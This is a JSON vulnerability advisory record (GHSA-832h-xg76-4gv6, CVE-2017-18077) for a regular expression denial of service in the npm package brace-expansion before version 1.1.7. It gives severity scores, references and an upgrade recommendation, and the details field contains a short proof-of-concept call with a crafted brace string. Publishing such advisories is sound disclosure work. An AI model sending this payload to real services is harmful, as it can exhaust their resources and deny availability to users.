{
"id": "GHSA-832h-xg76-4gv6",
"aliases": [
"CVE-2017-18077"
],
"details": "Affected versions of `brace-expansion` are vulnerable to a regular expression denial of service condition.\n\n## Proof of Concept\n\n```\nvar expand = require('brace-expansion');\nexpand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\\n}');\n```\n\n\n## Recommendation\n\nUpdate to version 1.1.7 or later.",
"summary": "ReDoS in brace-expansion",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.7"
}
]
}
],
"package": {
"name": "brace-expansion",
"ecosystem": "npm"
}
}
],
"modified": "2021-09-03T22:10:24Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
}
],
"published": "2018-01-29T15:50:46Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18077",
"type": "ADVISORY"
},
{
"url": "https://github.com/juliangruber/brace-expansion/issues/33",
"type": "WEB"
},
{
"url": "https://github.com/juliangruber/brace-expansion/pull/35",
"type": "WEB"
},
{
"url": "https://github.com/juliangruber/brace-expansion/pull/35/commits/b13381281cead487cbdbfd6a69fb097ea5e456c3",
"type": "WEB"
},
{
"url": "https://bugs.debian.org/862712",
"type": "WEB"
},
{
"url": "https://github.com/advisories/GHSA-832h-xg76-4gv6",
"type": "ADVISORY"
},
{
"url": "https://github.com/juliangruber/brace-expansion",
"type": "PACKAGE"
},
{
"url": "https://www.npmjs.com/advisories/338",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2020-06-16T21:24:01Z"
}
}